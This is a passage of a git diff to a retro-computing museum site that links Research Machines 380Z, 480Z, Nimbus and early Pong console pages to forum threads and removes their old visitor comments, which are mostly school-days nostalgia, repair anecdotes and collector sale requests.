Wednesday 21st November 2007 - text: |- - God, I remember we used these back when I was in high school, back when I grew up in the UK. I can recall writing my first text adventure on it, and trying hard to redo an old text adventure I had wrote on my old Vic-20 and C64. - - Memories... - - author: Christine (suffolk) - date: Wednesday 2nd November 2005 - text: I have to say that we also have an RM480Z that has been in daily use in the Nursery school since its purchase in 1983 and the Nursery teacher will NOT let go of it- she is very protective of it- eben though she also has an up to date pc too. we still have a few spare parts for when it has a headache but still going strong!! - - author: Darren (UK) - date: Friday 8th April 2005 - text: I used to repair these, and remember poking the memory to find out which memory chip had failed....CTRL-F if I remember correctly? Now I can't add up, due to the binary involved in diagnosing these! The black metal ones hurt if you drop them on your foot....but parts were interchangeable between the two models.. - - author: jc (Leamington Spa) - date: Thursday 10th October 2002 - text: |- - My dad worked for RM back "in those days", and we had both a 380Z and a 480Z in the house. The 480Z died a death, but I think the 380Z's still up in the loft. Great big black boxes!! - - Anyone got any use for it, if I can pry it out of my dad's hands? - - jc - - author: Robert (Manchester (UK)) - date: Wednesday 12th June 2002 - text: |- - 380Z was previous machine, it was just a black box with drives in it and a couple of ports of keyboard and screen. - - You could link the 480Z's together to form a network and used our old 380Z as a 'server'. - - You could recover programs from a crash by making a machine call on startup. I can't remember the call but I see to remember the address for '102'. It WAS 20 years ago mind. oc_id: 600 source: url: https://web.archive.org/web/20230529181401/http://www.old-computers.com/museum/computer.asp?c=600 diff --git a/content/museum/research-machines-nimbus-pc.md b/content/museum/research-machines-nimbus-pc.md index aca0c151..2e65eb25 100644 --- a/content/museum/research-machines-nimbus-pc.md +++ b/content/museum/research-machines-nimbus-pc.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 985 photos: - title: PC2 VERSION subtitle: '' @@ -136,96 +137,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/researchmach_nimbus_pub_s2.jpg - comments: - - author: Chris (UK) - date: Friday 4th March 2016 - text: |- - I have an RM Nimbus on ebay if anyone is interested. - - http://www.ebay.co.uk/itm/191819649778?ssPageName$STRK:MESELX:IT$\_trksid$p3984.m1555.l2649 - - author: RetroGamerVX - date: Wednesday 25th February 2015 - text: Mr Eprom9, you sound so posh!! $o) - - author: RetroGamerVX - date: Wednesday 25th February 2015 - text: Mr Eprom9, you sound so posh!! $o) - - author: adrian (United Kingdom) - date: Thursday 19th February 2015 - text: 'The Nimbus is backwardly compatible with the 280z,380z and 480z. This means that the entire and then widely available(in education circles) backcatalogue of software written in RM basic is/was open to nimbus users. That means literally thousands of titles across hundreds of subjects, most written by teachers and pupils themselves to aid them with their course work. My mom borrowed a nimbus in the line of duty just prior to launch. We were able to enjoy it''''s incredible functionality, including the earliest available MS Windows operating system. and of course Acorn had their noses put out of joint because the nimbus could run BBC basic software: something that their own electron struggled with and Archimedes could not do at all at the time. Here at last was an affordable, £800 personal computer which could be used at home, in the office and in schools. It could be used for the all the stuff adults wanted including helping the kids with their homework: Anything written in anything - up to RM or BBC basic would work on a Nimbus PC. Again, RM missed the boat. I used to sell computers. Customers would tell me they wanted a computer to help the kids with their homework. If their school had BBC micros or zx spectrums I could help. If they had RM equipment i was at a loss to help, other than to suggest they get a friend in education to get them RM or to go and work for RM so they could borrow RM equipment,' - - author: Jonathan Erskine-Nartey (UK) - date: Thursday 22nd December 2011 - text: |- - If anyone still have RM Nimbus PC, please let me know because I''m very interested. Also, does anyone have a copy of the following software: - - 1\) Adventures I for RM Nimbus containing two games: The Lost Frog $ Merlin''s Castle - - 2\) MicroSmile for RM Nimbus containing a game called "Boxes" - - 3\) Look and Read: Through the Dragon''s Eye: Nimbus Pack - - Check out my wanted list to see the pics - http://www.jonathanen.com/pages/Wanted/WantedList.html - - author: EPROM 9 (England) - date: Friday 17th December 2010 - text: If it''s still going contact the email on my site please. I am a collector who needs to build up ones collection. Thanks - - author: unravelled (London, UK) - date: Wednesday 6th October 2010 - text: |- - I used to manage a 480z and Nimbus school network in the 80s. RM was unfortunate in that it made the machines non-standard in trying to enhance them for school use. - - I have acquired a nimbus pc2 system (twin floppy) recently, but it really needs a new home. Is anyone interested? - - I don''t know if anyone here can help, but what I''d really like to do is convert some paintspa pics into a useable format. I believe one of the versions of painspa ran on a conventional pc, but woudl still read and convert older files . Can anyone confirm, and help me track down a copy? - - author: Dave (UK) - date: Saturday 18th September 2010 - text: '@Mark Gray, If you''''ve still got your Nimbus for disposal, I''''d be happy to give it home in my computer collection. It would look good next to my 480Z :)' - - author: Nemo (UK) - date: Tuesday 17th August 2010 - text: '@ Mark Gray (Newbury), are you serious about dumping your Nimbus PC-186 (green screen version)? that really would be a shame!' - - author: Mark Gray (Newbury, UK) - date: Thursday 5th August 2010 - text: |- - I''ve got a Nimbus PC-186 (green screen version) switched on right next to me now. 21 years plus old and still working perfectly. Even the hard disk (a whopping 20 megabytes) works. - - Real shame I''m going to have to dump it. Don''t have room any more. - - author: Paul Smallman (UK, England) - date: Thursday 1st July 2010 - text: OMG yeah i remember caxton, the more professional word processor we learned in year 2, paintspa, treasure island, rm basic, logo etc was awesome. I actually wanted to go to school. Do you remember Trains aswell, that game that you had to get the tracks right or the train would derail and crash horribly. Lol i have actually managed to get the original PAINTSPA to run on my modern day pc seriously! I would love to be able to get caxton and suchlike to run but have no idea where to get this ancient software. But paintspa is a great start, and it runs flawless on my dual core intel! I have to boot into dos and use runpc186.exe but im loving that i can do that! - - author: mark p - date: Monday 7th April 2008 - text: '...yeah, there were originally a few paragraph breaks in that wall of text. my apologies.' - - author: Mark P (Birmingham UK) - date: Monday 7th April 2008 - text: |- - Haha!! Possibly the first computer I ever used, at least of any note (the absolute first being a borrowed Speccy, of course), at about 7 or 8 years old at primary school (like '88, '89?). It seemed magic at the time, though the school had surely either got it second hand, or very cheap - mind you, I wouldn't put it past RM to still be selling 186-based systems (never mind that they were about the only company ever to do so, instead of jumping straight from 086 to 286) at a premium price to schools that didn't know any better even at that date. It does seem to be their business model. I really dislike the company for their shoddy hardware, naff network software and high prices, but do owe them this small debt of gratitude for re-sparking my interest (that, and the same teacher's personal Atari 800 that he brought in so we could play Donkey Kong as a FAR better treat for good work than a boring gold star!). So much so that I saw the teacher first setting it up to introduce to the class through the window at playtime, and was so taken by this magical box of light (alternatively, perhaps thinking - wow, a really big spectrum!) that I snuck back in once he'd fired it up and loaded Paint Pot (something of a big deal, graphically, at the time - 16 colours :D) then wandered off, and wrote a big HELLO on the screen... somehow figuring out the mouse and how to choose the "rainbow" colour swatch pretty quickly. - - Caught a fair bit of trouble for that I must say, but eventually I was unbanned, allowed to paint with it, play some of it's ropey (but spirited) games such as the electronic model train set, taxi driver (silly maths game :D), the aforementioned snooker etc, and even to the giddy heights of being entrusted with formatting a stack of new discs (remember when they were sold unformatted?) using clunky old DOS v3, big cheese for an 8 year old. - - Kind of glad I randomly happened on this article as it explained some of the mysteries about the machine... e.g. how come it was the only 186 I've ever seen? (RM being wierd, though it did allow some minor technical advances) Was I dreaming when I saw cartridge slots? (No) How come it had such comparitively good graphics when, as far as I could tell via other sources, it should have been a bog standard CGA IBM clone? (It wasn't a proper PC clone, though, was it... they sort of pre-empted the coming of EGA, almost)........ and how come it seemed to share so many software titles with the BBCs mum used at her work, like Caxton Press, Granny's Garden, etc? (The BBC runtimes...) ---- i mean, wow! :D - - Too bad their later machines sucked so much... the 386s that somehow already so ancient when I got to the second year of secondary school (and never even turned on, presumably completely broken down and knackered, and looking like they were still connected with an EGA cable not VGA) not much later... then the Pentium desktops the size of a house (most of it empty air) and inexplicably set up to use 640-rez, 8 bit colour on a nice video card and 15 inch monitor, and the horrendous RM Network software that wouldn't let you log in if you were slightly over quota (something like a single megabyte, tightarses) - unless you deleted one of the offending files ... and not even giving you the opportunity to copy the file off onto floppy or anything. Why they didn't just use Windows NT is anyone's guess. They're still making shite to this day, though things have improved slightly - a recent job in a school turning up some nice contemporary desktops, but also some awful all-in-one compact desktop things (not in any way a threat to the imac, and again seemingly hardcoded to use the wrong resolution and take forever to log in to a very sparse desktop) and borderline acceptable trolley-based laptops that are actually rebadged super cheap korean things. Gahh. - - Bring back the simple but fun Nimbus, I say ... they don't really do much more complex with the current ones than they did with the 186 :D - - The only regret is, as the primary school was so poor, they never got so far as buying a second one to attempt making a network with :) that would have been an excellent early adventure! - - author: Lyndon Baldwin (UK) - date: Monday 26th February 2007 - text: This really does take me back to school circa sep 1995. This was the school network running RMPC186's! That snooker game where you had to type in angles (used in maths lessons) and like others have said crashing often (especially when the whole classroom were using word or excel. I remember the print server username was IT2PRN and password was HOPELESS (obviosly IT staff realised the obselecence of the equipment). I got told off for logging in on that user! We also had a desktop publishing program called \*\*\*\* press. Can't remember the name. - - author: Crispin (UK) - date: Thursday 14th July 2005 - text: I used to have one one of these machines it had 640kb mem and a 20mb extrenal harddrive (same case as main computer case worked by parallel port plus it booted hd from bios) it was the first pc I striped and rebelt , and the one's we had at school worked on dos 3.3 (if you could get to it) 512kb mem no floppy or hard drive and worked on a 10bacet nertwork served by 386 sever and a 286 sub server. - - author: Keith Greer (Co Derry, Northern Ireland) - date: Saturday 25th June 2005 - text: We used to have these computer at my primary school. they had a modified operating system made for the NEELB (North Eastern Education and Library Board) in Northern Ireland, the main screen had something like eight large buttons down each side labeled with a program name. Very easy to use! - - author: Darren (UK) - date: Friday 8th April 2005 - text: I used to repair these for the local authority what a great job! On the road half the day, then on the bench! There are 2 different versions, the old style "tall" version made of some type of rubber type material, and the newer metal one. I remember the fix for sync loss on the monitor, and after replacing many field output chips, finding a cure from RM to reset it DOH! Lovely machines to work on, but removing the mainboard resulted in many power LED plastic bits being snapped (oops!) - - author: Nathan Graves (England) - date: Friday 10th December 2004 - text: There were a lot of these at my old school, and some of the later (486) models. You could run most DOS programs on them, and if I remember I even tried to get Windows 95 running on one (it crashed and i was banned from using the computers for 3 weeks >.<). Anyway, there were a lot of educational programs on the system, but most seemed to be written in RM Basic. Oh, and I remember a high score on PC Genius :) - - author: Daeljan (UK) - date: Monday 26th April 2004 - text: I bought one of these RM Nibus PCs back in 1994 from a computer junk shop while I was doing my degree - I used it for many assigments. It had a 'Passport' drive - a 20 Meg Winchester drive that slid in and out of the front. I used WordPerfect, Tetris, and a text based digital logic gate simulator. I never had a problem with this machine. oc_id: 1011 source: url: https://web.archive.org/web/20230205044606/http://www.old-computers.com/museum/computer.asp?c=1011 diff --git a/content/museum/research-machines-rm-380z.md b/content/museum/research-machines-rm-380z.md index 3636488f..7d9e750d 100644 --- a/content/museum/research-machines-rm-380z.md +++ b/content/museum/research-machines-rm-380z.md @@ -66,170 +66,11 @@ params: value: From £519 tabs: - links + forum_thread: 793 links: - title: Research Machines RML380Z and 480Z Yahoo Discussion Group url: http://tech.groups.yahoo.com/group/380z/ text: All is in the title... - comments: - - author: Philip Livingstone (United Kingdom) - date: Wednesday 6th July 2022 - text: has anyone still got a copy of the RESEARCH MACHINES Backgammon game that was on a floppy disc and came with out RM Basic in 1982? - - author: Andy Pagin (UK) - date: Saturday 4th March 2017 - text: |- - I learned a lot of my early programming skills on a 380Z in the sixth form. It was quite unlike most of the micros of the day. Had more of a ''mainframe'' feel about it, from the steel casing down to the bootstrapping bios. I wrote my first proper application on it. A system for recording in real time the scores for Enfields inter-school ''one day olympics''. Meant they could know the outcome on the day instead of a week after the event. Using the app involved countless swapping of floppies to handle the data which vastly exceeded the memory capacity.\ - Programming was much more fun in those days. - - author: J. Gareth Williams (Canada) - date: Thursday 26th March 2015 - text: And I just fell victim to the same quirk as my mentor. The engine presumably strips out the word d r o p, to prevent against embedded S Q L attacks. - - author: J. Gareth Williams (Canada) - date: Thursday 26th March 2015 - text: For anyone not in the know - the Brian Reffin Smith who posted below on Feb 10th, 2015, is the author of an absolutely fantastic children''s book on programming in BASIC. I''ve been trying to get in touch with him for years. So if you read this, Brian, visit my site and $ me a line. I wanted to thank you for bootstrapping me my career. :) - - author: adrian (United Kingdom) - date: Thursday 19th February 2015 - text: My mother was Mike Fishers PA and later became a manager in the company. There was indeed a famous picture of Mike standing on a 480Z to prove how tough they were. I worked for RM myself, as a temp. and helped develop RM Basic 6, Arrow and RM logo. I ported the entire 380Z software library to the 480Z and aided the development of CPM on Rom and enabling disk drive storage for the 480Z. Windows was launched on the RM Nimbus PC, which was itself backwardly compatible with the 380Z, 480Z and BBC micro (the latter well before Acorns own PC. ). RM were offered the BBC micro contract but rejected it and suggested Acorn (which had been started by a couple of RMs ex employees). Rm were among the the first to use rom packs(on the 480Z), usb technology(on the Nimbus) and network their computers in schools(the 380Z being the hub, and the 480Z being the terminals). Sadly, my suggestion of retailing the 480Z to the general public was rejected. Rm also supplied managers on secondment to Apple. - When they came back i was prevented from taking up full time employment with Rm because my mom was a manager by that time and Rm changed their employment rules in line with those of Apple.. So anyone with friends or family already employed by Rm in a managerial capacity was prevented from joining Rm themselves. Otherwise, I would still be there. - - author: Brian Reffin Smith - date: Tuesday 10th February 2015 - text: No, it wasn''t me, but the odd system here. - - author: Brian Reffin Smith - date: Tuesday 10th February 2015 - text: 'Sorry, typos - can''''t edit the post: "Royal College of Art", and "can be $ped off buses".' - - author: Brian Reffin Smith (Berlin, Germany) - date: Tuesday 10th February 2015 - text: |- - I wrote ''Jackson'', a digital painting program for the 380Z, at the Royal College of rt, London. In the first days I used to bring in my own machine, until we got several all-singing, all-dancing models in the computer art studio. The box was very heavy. One day, as the bus on whose platform I was hanging rounded Hyde Park Corner, the computer slid from my numb hand and crashed onto the road. I managed to retrieve it, and on testing it worked perfectly, disk drive included. I believe Research Machines did a spoof advert for it, "Can be $ped off buses…"\ - On an unrelated note, I have the strongest impression that the manual for the BASIC language contained a note that it had been written by a certain Bill Gates. Is this possible? - - author: Sean Charles (Plymouth / United Kingdom) - date: Friday 7th September 2012 - text: |- - Sigh. Here I am at the age of 46 and three quarters \*still\* addicted to software development because of a the 280Z cassette machine and then the 380Z twin-floppy machine with high-res and four colours. My computer studies teacher (Mrs. Turpitt) was brilliant considering it was a "new" thing at the time, about 1977/1978 when I got hooked by the "shoot the duck" game that cost 2p a go at the school summer fair when new first-years were invited to see the school before the term started in September. - - I too remember the joys of the "front panel", J100 and J103. Hand coding Z80, calculating jump offsets with a pencil and paper. I was one of the "nerds"... one day I changed all the BASIC keywords and forgot to reload BASIC at 8:50am. I surely got my butt kicked that day as nobody could use it until Mrs. Turpitt found out and had to reload it herself. She was none too pleased, told me off, but then at the end of it praised me for being that clever with it! She was a great teacher, I wonder where she is now! - - I wrote a version of "Scramble" in Z80 using TXED when the twin-floppy machine arrived. It had a Pascal variant on it, TXED the editor and ZASM, the assembler, as I think it was called. I also got involved in building a small square-wave powered sound generator that was driven by some assembler code I wrote for a project and with some help, we extended the BASIC with a "SOUND" command. Wow, that felt like rocket science. - - I have one of the beautiful thinner keyboards from the 380Z, it''s totally shot out but the keys are good and I plan (one day) to rewire it and stick a PIC microchip inside it to make it USB compatible. Those keyboards were absolutely lovely but I don''t miss the awful wrist cramps from the hand-pressed steel cased "brick" of a keyboard that came with the 280Z! - - I remember the screen flickered like made. It was driven by an I/O pin from one of the PIO-s, you had to "open" and "close" the RAM that contained the screen and it wasn''t synced to the refresh. When my Scramble game ran, it would have caused a major headache with epilictics I am sure! Those were the days indeed, everything was so exciting and interesting. Now people just buy more RAM or a bigger CPU... back then you \*had\* to be creative and inventive, sometimes I miss that feeling. - - To this day I think that it was those formative years learning "the craft" and understanding registers, Z80 etc that made me so "attuned" to software. It is a strange beast indeed. Information processing, and we still cannot explain what information "is". - - Stopping now, bordering on philosophical mindefields and stuff and it''s Friday and late! - - :)\ - Sean Charles - - author: Keith Jamison (Belfast, United Kingdom) - date: Sunday 11th December 2011 - text: |- - This was the first computer I ever used. I must have been in 5th form and it prompted me to take Computer Studies at O-Level during my sixth form. Having only one computer and maybe twenty of us ''wanting a go'' meant I lost out then but I got an A when I took the course at the local tech college. I swapped Modern Languages for Computer Languages. - - I remember one bright spark hacked the OS so that the READY prompt read RANDY. I have memories of a text adventure game but I forget the name - all I remember is the spell "Sleep ye foul fiend that I may escape and preserve my miserable soul." - - Another competent hacker gave the game responses a speech impediment when he tried to emulate the lisp of the main computer teacher. The spell then read "Sleep ye foul fiend that I may escape and pweserve my misewable soul." - - I managed to salvage some parts from my own place of work (a school) with a view to refurbishing it... still waiting for the time to do that. - - Happy days, partly because we received some BBC Model A''s after that, then some B''s and finally a Master. But the RML380Z still captured the attention of the ubergeeks. - - author: Rob Gale (US, ex-UK, Thatcham, Berks) - date: Thursday 18th August 2011 - text: I believe our year at Kennet Comprehensive in Thatcham was the first with this beauty, probably in ''79. Prior years were on teletypes to the local college I think. I still remember Ctrl-F J103 to this day. - - author: Chris Thompson (United Kingdom) - date: Tuesday 19th July 2011 - text: |- - I remember in my 2nd year of secondary school (1978), we got a RM380Z, which was in a light blue box with a cream coloured front (don''t know if this was a prototype version), but it had 2 illuminated buttons on the front, one blue and one white). The keyboard was very big and clunky too, and the machine often got reset by mistake by pushing the keyboard back into the reset button on the front panel. - - This machine was later replaced by the black 380z which is pictured on this site. This one had a key instead of the push button to reset, which saved a lot of frustration! The keyboard that we got with this was a lot more slimline too than the original. - - The machine had Basic v3 on cassette, which seemed to take forever to load. We also had something called a dual cassette controller, which meant that the machine could decide which of the 2 cassette recorders it would use, I think one played and one recorded. - - The $ key only worked if you held the shift key down as well, which I always thought was a bit of a pain. - - There was a game on it too, called ''shoot the duck'', which was about entering the right angle to fire a trail of pixels across the screen in an arc to get the duck... very high tech in those days. - - The following year we got another 380z with a dual floppy disk drive... wow! This used CP/M and yes, I remember ''PIP''... think this was an acronym for Program Interchange Program or something like that. It was for copying and moving files across the drives. - - Remember the J103 too! - - We eventually got the high-resolution colour graphics with a CUB colour monitor, which was amazing at the time. - - I think it must have been about 1979ish that Research Machines launched ''Basic v5'', which really had all the bells and whistles, and was a great programming language for it''s time. Was then on a par with the Basic that was provided on the TRS-80 and later the BBC model B. - - A year or so later we got a networked system with a 380Z working as a ''master'' machine running something called M/PM as I remember, with about 10 480Z''s networked up to it with coax cableing in a sort of daisy-chain. - - Ah... the memories $-) - - author: Vincent Murphy (Dublin/Birmingham) - date: Thursday 21st April 2011 - text: I used the 380z at St Philips 6th Form College, Birmingham 1983-86. I loved that machine, using Edasm and Assemble and BasicSg2!! We all used to spend lunchtime playing ... MouseTrap!! Good days at the dawning of the PC era. - - author: Richard Spurr (UK) - date: Friday 11th March 2011 - text: |- - First computer I used. Well excluding the ASR33 connected to County Hall''s mini. - - We had a 2 "computing" teachers. One was good $ keen. The other not so! He always used to check out programs with the "LOADGO" command in RML''s BASIC. So I did something like:\ - 5 ON ERROR GOTO 110\ - 10 normal program...\ - ...\ - 100 Print "Ready"\ - 110 GOTO 110\ - Took him ages and the help of the keen teacher to work out why the machine had packed up after running my code. It was fun watching the keen teacher trying sooo hard not to laugh. - - Half the fun of the RML was using it to learn about a "real" business OS like CP/M. Anyone remember "PIP"? - - author: Paul (UK) - date: Tuesday 2nd February 2010 - text: |- - On your page, Ben Jones remembers: " I remember using a 380Z in Canterbury, around 1980. As well as the excellent text editor (can''t remember what it was called now, but I found nothing comparable for a decade afterwards), I loved the simplicity of programming it in assembler." - - It was called TXED. Back in 1979-83 I was a grad student who went hacking at RML''s establishments (which varied over the years) at evenings and weekends. I was later the first employee of the spin-off company High Level Hardware where my principle role was writing the system microcode. - - I still have a blue-box RM380Z in my attic, as well as a pair of black-box systems fitted with 5.25" floppies. Two sets of 8" floppy drives are up there too. - - Happy days. - - author: Andrew Gordon (United Kingdom) - date: Saturday 20th December 2008 - text: |- - The 380z was the first computer I ever used at school in the late 70s. I''ve been in Computing ever since! That''s the inspiration for naming my Blog on IT 380z.blogspot.com. - - As Alan Drew has commented, the machine I used had cassette as media, not diskettes. We upgraded to a 480z - that had floppies and CP/M - - My first real computing program was a game on the 380z called ''Shoot the Rapids''. Taught me the basics and got me hooked on programming! - - author: Alan Drew (UK) - date: Tuesday 1st July 2008 - text: |- - We had one of these at my school (Charters, Sunningdale), the tape deck (we had no floppies) was used to load Basic rather than the operating system. I think CP/M was in ROM.\ - (though for all I know the Teacher had already loaded CP/M from the tape) - - They were shipped in to schools when CSE Computer Studies was first introduced to secondary school education. - - Ctrl-F bought up the CP/M Front Panel: register contents stack pointers and a dis-assembled memory map. My first introduction to Assembly language programming, much fun hass been had since with the knowledge gained from that front panel. - - As per Ben Jones post, I was one of those geeks who used to hang around in the computer room Z80 Pontoon (blackjack) was my goal though. - - author: mark p - date: Monday 7th April 2008 - text: nb-- \*oh so ADVANCED 386s - - author: Mark P - date: Monday 7th April 2008 - text: Wow, so that's what this thing is (and was capable of!). One of these was a permanent, never-disturbed fixture in the Economics room at my secondary school, like a large black anachronistic lump amongst the oh-so (I thought at the time..) 16mhz pizzabox VGA 386s taking its place. I don't know if it was ever run while I was there - possibly for the higher level Economics lessons that I dropped after the first couple years, but probably they'd lost the key... the screen would turn on, but not the main box. It was a bizarre sight, the system box like a victorian travel chest, with the tiny little 9" (?) screen perched on top :D It sounds like quite a cool thing really, more so than the beige clones crowding it out. Still, someone in the faculty must have loved it - as I remember, it (and an Amstrad PCW of all things, equally unused) survived unscathed a cold hearted purge of a number of other old machines, including some kaypro-looking thing, and a massive stack of perfectly servicably - 486s (only about 6 or 7 years old at that point!) and still-fully-functional BBCs and their much-sought-after Cub screens... much salvage was had... but the 380Z was not one of the rescued items! - - author: Adam Billyard (Earth) - date: Monday 8th January 2007 - text: I was the geek jumping for the white reset button when lores and hires both tried to drive the bus! The graphics card supported many interrupts, in particular hblank to change palettes per scanline. Years later I met Dr Shima (a key architect of the Z80) in Tokyo and when he put me on the spot as to what I liked about the Z80, and I mumbled how neat the EXX instruction was for interrupts, to which he turned on his heels and wandered off! CLM with Dr.Shima I guess. :-) - - author: Neil Loughran (UK) - date: Wednesday 19th July 2006 - text: I remembers seeing this machine in my school around 1981/82 or so. the teacher was demonstrating the maths package and drawing fancy line patterns.... don't think he understood it as he kept asking me about "superimpositions". I certainly didn't understand anything.... but then I was only 12! I did my computer science project on it, just an adaptation of a simple database program I'd written on a Commodore PET 4032 with cassette (serial access, can you believe thats how we used to do it??)... The 380z was my first introduction to the floppy disk... and so random accessing of files, however it took me an age to do as I kept typing in the wrong PUT number... I think it was PUT 15 which disabled the Escape key... and I hadn't saved my program to disk!! Oh well... I also remember taking part in some kind of group project with other schools (all in the same location for a day or two) where we would program a small part of a database application and merge them together at the end and - see if it worked (I don't think it did!). I remember I was sneaky and kept accessing their computers over the LAN and checking their code.. altering it... sabotaging it... usual schoolboy trickery... ;-) Ahh... nostalgia. - - author: Pete Fenelon (York, UK) - date: Sunday 25th September 2005 - text: |- - The 'excellent text editor' that various people recall was called TXED, which I later discovered was a (somewhat cut-down?) version of the legendary TECO. - - RML supplied some other good software to educational users, I seem to recall there being quite a good free-text database called SIR (Structured Information Retrieval?). All the usual CP/M stuff ran very nicely on the 380Z, too. Wordstar in 80 columns on a decent monitor was a very nice way of banging out text mainly due to good video output and a very, very comfortable keyboard. - - The DSDD floppies were odd, they treated each disc drive as two volumes; one drive was A: and C:, the other was B: and D: - obviously saved some effort somewhere but very inconvenient! - - The very first 380Zs were white, although I've never seen a white one 'in the wild', only in ads. - - I remember being really disappointed when I first used a 480Z to discover that the absolutely magnificent keyboard on the 380Z had been abandoned in favour of some slack thing! oc_id: 812 source: url: https://web.archive.org/web/20230605231027/http://www.old-computers.com/museum/computer.asp?c=812 diff --git a/content/museum/ril-rollet-international-limited-robot.md b/content/museum/ril-rollet-international-limited-robot.md index b5a17685..b0e55a53 100644 --- a/content/museum/ril-rollet-international-limited-robot.md +++ b/content/museum/ril-rollet-international-limited-robot.md @@ -52,6 +52,7 @@ params: value: 'Yes' tabs: - photos + forum_thread: 665 photos: - title: INSIDE subtitle: '' @@ -61,13 +62,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/ril_jeux-video_box.jpg - comments: - - author: Mef82 (Krakow / Poland) - date: Sunday 6th September 2015 - text: As for being SOE OC5000 motherboard repackaged in different case - please note how the $ion switches, ROBOT dial and buttons, together with the external light-gun din plug share identical layout. - - author: Combat Wombat (LA, California, USA) - date: Friday 18th June 2004 - text: I actually have one of these, and it still works. I modified it so I could use the battery with it. This is a very hackable pong, you can make gameplay changes with hardware mods. oc_id: 681 source: url: https://web.archive.org/web/20230613152952/http://www.old-computers.com/museum/computer.asp?c=681 diff --git a/content/museum/riva-t-800c.md b/content/museum/riva-t-800c.md index f82cd324..92b66266 100644 --- a/content/museum/riva-t-800c.md +++ b/content/museum/riva-t-800c.md @@ -51,6 +51,7 @@ params: - software - emulators - links + forum_thread: 704 photos: - title: BOX subtitle: '' @@ -86,30 +87,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Nick(IOM) (Isle of Man UK) - date: Thursday 13rd July 2017 - text: |- - Hi people are saying this unit freezes, I added a small heatsink to the board from spare zx spectrum parts I had and it no longer freezes. - - Hope that helps. - - author: Homer - date: Sunday 26th December 2010 - text: |- - Hi Guys! - - I have the same system and i don''t really use it.\ - Do you know the price if i wanna sell it? - - Thx :) - - author: Billy (athens greece) - date: Friday 12th August 2005 - text: |- - You guys cant imagine what you remind me with that pong machine!It was my first electronic device of my childhood years.My mother bought that pong for me, but I remeber I was soooooo dissapointed because it was freezing after 5-10 minutes of playing! I remember I went back to the store, and I changed it with another one-totally 3 times-, but all had the same problem.Anyway, even for 5 minutes of playing with that machine was a really dream!\ - Keep on your good work with that site! - - author: John (Earth) - date: Wednesday 11th August 2004 - text: Wow....This was my first close encounter with game-consoles in the early 80s !!! As I remeber, I could only play 10-15 minutes maximum, because it just freezed-up during play after that time.But, it was awsome for me at that time, anyway! related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/roberts-paddle-iv.md b/content/museum/roberts-paddle-iv.md index bcc1d8b5..2e7447ff 100644 --- a/content/museum/roberts-paddle-iv.md +++ b/content/museum/roberts-paddle-iv.md @@ -52,6 +52,7 @@ params: - software - emulators - links + forum_thread: 705 photos: - title: PADDLE IV subtitle: '' @@ -111,27 +112,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Bill Mason (Canada) - date: Sunday 18th December 2016 - text: I have a Paddle iv game and would like to hook it up to my new TV is there instructions available. - - author: MAK (Eastern Iowa) - date: Thursday 1st September 2011 - text: |- - I have recently obtained a Roberts Super Color Video X and would emailed isntructions on how to hook it up.\ - The system looks very similar to the Paddle IV system and the description sounds similar too.\ - I would love to know it''s value or know someone who''s interested in it.\ - Thanks.\ - makhawks@yahoo.com - - author: Jennifer M. Stinson (Calgary, Alberta, Canada) - date: Tuesday 6th September 2005 - text: I have a Paddle IV game. It is in mint condition, including the original box, original instruction manual, power cord and adapter, and tv connection switchbox. It has all the components needed to run on any tv. All you need to hook it up to any tv, including new tvs, is the switchbox, which will hook up through a VCR to your tv using a cable-tv cable. I am not interested in selling my unit, but I would be interested in knowing how much it is worth, for insurance purposes. Anyone who needs information on how these hookups work, feel free to e-mail me. I have scanned pictures of the original manual, and can take pictures of the switchbox. Enjoy your games everyone! - - author: Nicole (Pittsburgh, PA) - date: Tuesday 20th April 2004 - text: I have a Paddle IV game and I just wondered what a collector would offer for it in case I did decide to sell it someday. It works, and it's in great condition, I just don't have an old TV to hook it up to. If you know anything, please drop me a line, LOL, there isn't a category for it on Ebay. - - author: Edwin Bradley (Hamilton Ont) - date: Saturday 5th April 2003 - text: I have just found A Roberts IV paddle game but cant get it to work on my TV is there a way to test it to see if the actual game is broken? Do I need an old TV to play it. I also by accident tried a 12 volt adapter (it takes 9 volt) would this of fried it? Thanks for any help anyone can give us. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/roberts-rally-iv.md b/content/museum/roberts-rally-iv.md index 92e16c70..ff953e88 100644 --- a/content/museum/roberts-rally-iv.md +++ b/content/museum/roberts-rally-iv.md @@ -53,6 +53,7 @@ params: - software - emulators - links + forum_thread: 1031 photos: - title: RALLY IV subtitle: '' @@ -108,19 +109,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Wayne Keith (Abilene, TX) - date: Wednesday 9th September 2015 - text: My family bought this game new, and I still have it with box. The price tag says $38.97 (circa 1978). It does not have the AC/DC plug in converter, but does run with batteries. I''m not sure if the converter has been lost, or if it was an accessory we never owned (the box does not mention it). The output is VIDEO ONLY, sound is generated from a speaker in the console (with no volume control). Game play sometimes has observable bugs, such as balls continuing to spawn after end of game, and score continuing to increment. Still, it is a very playable version of Pong and has been a very reliable unit for the last 35+ years. - - author: Matt B (mb7241) (Cleveland, TN) - date: Monday 11th October 2010 - text: |- - I won one of these at an auction a while back, boxed, for about $10 or so. As far as I''ve seen and researched, it seems that a boxed one is only worth about $10-$20, and about half that for unboxed. - - Very fun to play, by the way...I''m from the generation after these systems came out (born in 1985), and I still pull this out and play it from time to time. - - author: Robert Gordon (Detroit Mi.) - date: Friday 7th May 2010 - text: I own a Rally IV by Roberts , looking to find out whats its worth. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/robik.md b/content/museum/robik.md index dd0a7695..54d01221 100644 --- a/content/museum/robik.md +++ b/content/museum/robik.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 757 photos: - title: ROBIK COMPUTER subtitle: '' diff --git a/content/museum/robotron-a5105.md b/content/museum/robotron-a5105.md index 17a84215..bd2bbc50 100644 --- a/content/museum/robotron-a5105.md +++ b/content/museum/robotron-a5105.md @@ -71,6 +71,7 @@ params: tabs: - photos - links + forum_thread: 1044 photos: - title: LARGER VIEW subtitle: '' 